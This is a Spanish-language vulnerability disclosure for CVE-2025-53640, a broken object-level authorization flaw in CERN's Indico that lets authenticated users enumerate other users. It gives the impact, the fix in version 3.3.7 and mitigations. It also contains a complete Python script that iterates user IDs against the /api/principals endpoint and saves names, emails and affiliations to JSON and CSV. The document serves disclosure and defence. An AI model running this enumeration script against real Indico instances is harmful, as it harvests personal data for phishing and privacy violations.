
Broken Object Level Authorization (BOLA) en el Indico del CERN provoca la enumeración de usuarios autenticados.
PoC y análisis técnico de CVE-2025-53640: una vulnerabilidad de Autorización a Nivel de Objeto Rota (BOLA) en Indico permite la enumeración de usuarios autenticados a través de un endpoint, exponiendo nombres, correos electrónicos y afiliaciones. Incluye script de explotación, análisis de solicitudes y capturas de pantalla. Afecta a instancias de Indico desplegadas globalmente (Organización Europea para la Investigación Nuclear (CERN), Naciones Unidas (ONU), Instituto Tecnológico de Massachusetts (MIT), Agencia Espacial Europea (ESA), entre otras).
Una vulnerabilidad de Autorización a Nivel de Objeto Rota (BOLA) en la aplicación de código abierto Indico permite la enumeración masiva de usuarios a través del endpoint.
Originalmente diseñado para resolver identificadores de usuario en campos de formulario específicos, este endpoint puede ser utilizado indebidamente para recuperar datos personales de cualquier ID de usuario válido:
Nombre completo
Dirección de correo electrónico
Título
Afiliación
URL del avatar
La vulnerabilidad fue reportada y reconocida por los mantenedores de Indico, y está oficialmente registrada como CVE-2025-53640
Se requiere una sesión autenticada válida.
Sin embargo, la mayoría de las instancias públicas de Indico permiten el autorregistro sin verificación de correo electrónico, CAPTCHA ni aprobación manual.
Esto hace que la vulnerabilidad sea prácticamente explotable por usuarios no autenticados tras la creación trivial de una cuenta.
Indico es una plataforma de gestión de eventos y conferencias ampliamente adoptada, desarrollada por la CERN (Organización Europea para la Investigación Nuclear), que impulsa la infraestructura académica e institucional a nivel mundial:
CERN (Organización Europea para la Investigación Nuclear): Más de 900.000 eventos al año; más de 200 salas reservadas diariamente.
A nivel mundial: Aproximadamente 145.000 eventos/año en más de 300 instituciones.
ONU (Naciones Unidas): Más de 180.000 participantes/año.
UNOG (Oficina de las Naciones Unidas en Ginebra): Hasta 700.000 usuarios/año.
Ampliamente utilizado por universidades, laboratorios, institutos de investigación y agencias gubernamentales.
Ejemplos de instancias públicas afectadas:
Debido a su adopción generalizada en entornos científicos, académicos y gubernamentales, esta vulnerabilidad plantea riesgos graves:
Fugas de identidad de investigadores, personal y administradores
Violaciones de privacidad a gran escala y exposición de directorios institucionales
Reconocimiento dirigido para phishing o ingeniería social
Posible compromiso de iniciativas sensibles de investigación y políticas
Divulgación de datos personales (PII)
Enumeración de usuarios con altos privilegios (administradores, organizadores)
Apoya operaciones masivas de phishing y phishing dirigido
Viola regulaciones como GDPR, LGPD y políticas institucionales internas
Puede constituir una violación notificable según la jurisdicción
El problema se solucionó en Indico v3.3.7.
Según los mantenedores, se ajustó el comportamiento del endpoint para evitar el volcado masivo de datos de usuario (nombre, afiliación y correo electrónico) mediante IDs predecibles. También se introdujo una nueva bandera de configuración ALLOW_PUBLIC_USER_SEARCH.
Las mitigaciones adicionales incluyen:
Restringir las comprobaciones de correo electrónico durante el registro
Deshabilitar la resolución de enlaces de persona cuando la búsqueda pública está deshabilitada
Agregar advertencias en la interfaz de usuario para eventos sin ACL bajo búsqueda restringida
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://indico.<URL>/api/principals"
headers = {
"Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
"Content-Type": "application/json",
"X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}
def enumerate_users(max_errors=10):
user_id = 1
errors = 0
results = []
while errors < max_errors:
payload = {"values": [f"User:{user_id}"]}
response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)
if response.status_code == 200:
data = response.json()
key = f"User:{user_id}"
if key in data and not data[key].get("invalid", True):
user = data[key]
print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
results.append({
"user_id": user_id,
"name": f"{user['first_name']} {user['last_name']}",
"email": user["email"],
"affiliation": user["affiliation"],
"title": user["title"],
"avatar_url": user["avatar_url"]
})
errors = 0
else:
print(f"[-] ID {user_id}: Invalid")
errors += 1
else:
print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
errors += 1
user_id += 1
with open("enumerated_users.json", "w", encoding="utf-8") as jf:
json.dump(results, jf, indent=2, ensure_ascii=False)
with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
writer.writeheader()
writer.writerows(results)
print("Enumeration finished.")
if __name__ == "__main__":
enumerate_users()
Restringir el acceso al endpoint según el rol o el contexto
Establecer ALLOW_PUBLIC_USER_SEARCH = false en indico.conf
Limitar los campos de usuario expuestos solo a lo necesario
Deshabilitar o restringir el autorregistro (por ejemplo, verificación de correo electrónico, aprobación del administrador)
Habilitar la monitorización y limitación de velocidad en el endpoint
Actualizar a Indico 3.3.7 o superior inmediatamente
Monitorear los registros de acceso en busca de patrones de enumeración
ID oficial: CVE-2025-53640
Esta vulnerabilidad fue descubierta durante una evaluación de seguridad realizada como parte del Programa de Residencia en Equipo Rojo de la RNP (Rede Nacional de Ensino e Pesquisa – Brasil).
Toda la investigación y las pruebas se realizaron con autorización y supervisión previas. Un agradecimiento especial al Equipo de Seguridad de la RNP por brindar orientación ética y soporte de infraestructura.
Este CVE subraya la importancia de aplicar un control de acceso estricto a nivel de objetos en plataformas que gestionan datos institucionales sensibles.